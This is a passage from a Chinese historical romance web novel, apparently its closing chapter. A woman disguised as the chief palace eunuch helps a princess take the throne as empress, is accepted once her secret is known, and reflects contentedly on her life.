两人旁若无人说着话,元盛想听又不好明目张胆听,迟疑片刻,还是识趣地找借口起身,顺带着将小锁、赵岳等人一起叫离了现场。 掌印与解衍看起来怎么不清不楚的? 最后事实证明,确实不清不楚。 从那以后,二人没再刻意遮掩,逐渐的谁都知晓司礼监掌印与解大人实乃大魏朝龙阳之好界的翘楚。 …… 再后来,大魏的版图不断扩张,国库充盈、百姓富足。民间出现了只知公主,不知天子的局面。 而天子二十岁那年,还是死于一场旧疾发作。 在又赢了一场至关重要的战事之后,借着这个契机,端静长公主正式自立为女帝,登上了那把日日陪伴在旁的龙椅。 正式登基那日,端静的手稳稳搭于白惜时的小臂,二人立于高阶之上,俯瞰这巍峨的皇宫,女帝侧目,启唇一笑,“还记得吗?那一年你也是这样将朕送到父皇面前,告诉朕抬头挺胸,不要害怕,因为朕是大魏最尊贵的长公主。” 闻言忆起往昔,白惜时嘴角含笑,“记得。” 原来一晃已经这么多年,而以前种种仿佛就发生在昨日。 听完白惜时的答话,端静定定望向白惜时,“朕的司礼监掌印,实则是一名女子。” 白惜时扶着女帝的手没有动,半晌之后,收回目光,亦望向对方。 端静很聪明,她只稍稍露出了些马脚,果然就叫对方窥见了端倪。而她也确实不想再遮掩下去,不想将这个秘密带到棺材里,眼下是最好的时机。 “请圣上恕。” 然而话说到一半,白惜时便已经被端静拦了下来,“朕是女子,司礼监掌印又为何一定要拘泥于男子呢?” 端静明白自己能走到今天这一步眼前这个人给了她多大的助力,这世上,可能也只有女子会愿意打破拘泥,让她有机会施展才干,助她登上皇位。 说罢笑看着白惜时,端静:“走罢,朝臣都在候着,早朝快要开始了。” “是。” 张茂林曾经告诉白惜时,做内宦也得做个最有志向的内宦,在朝堂挣得一席之地,辅佐明主,左右风云变幻。 白惜时从此记在了心中,也努力如是去做。 能者居之,谁又规定女子便不可以做一位明君? 肃穆的明堂之上,白惜时十年如一日般立于天子身侧,都说一朝天子一朝臣,可不知不觉,她竟也历经了三位帝王。 白惜时有时也会好奇,大魏的史书上会如何评价她这样一位女宦官呢? 不过想一想又觉得算了,那些都已经是身后事了,管他呢。 眼下,身侧是她选择的明主,而堂下,所爱之人亦在对着她微笑。 如此,便甚好。 甚好。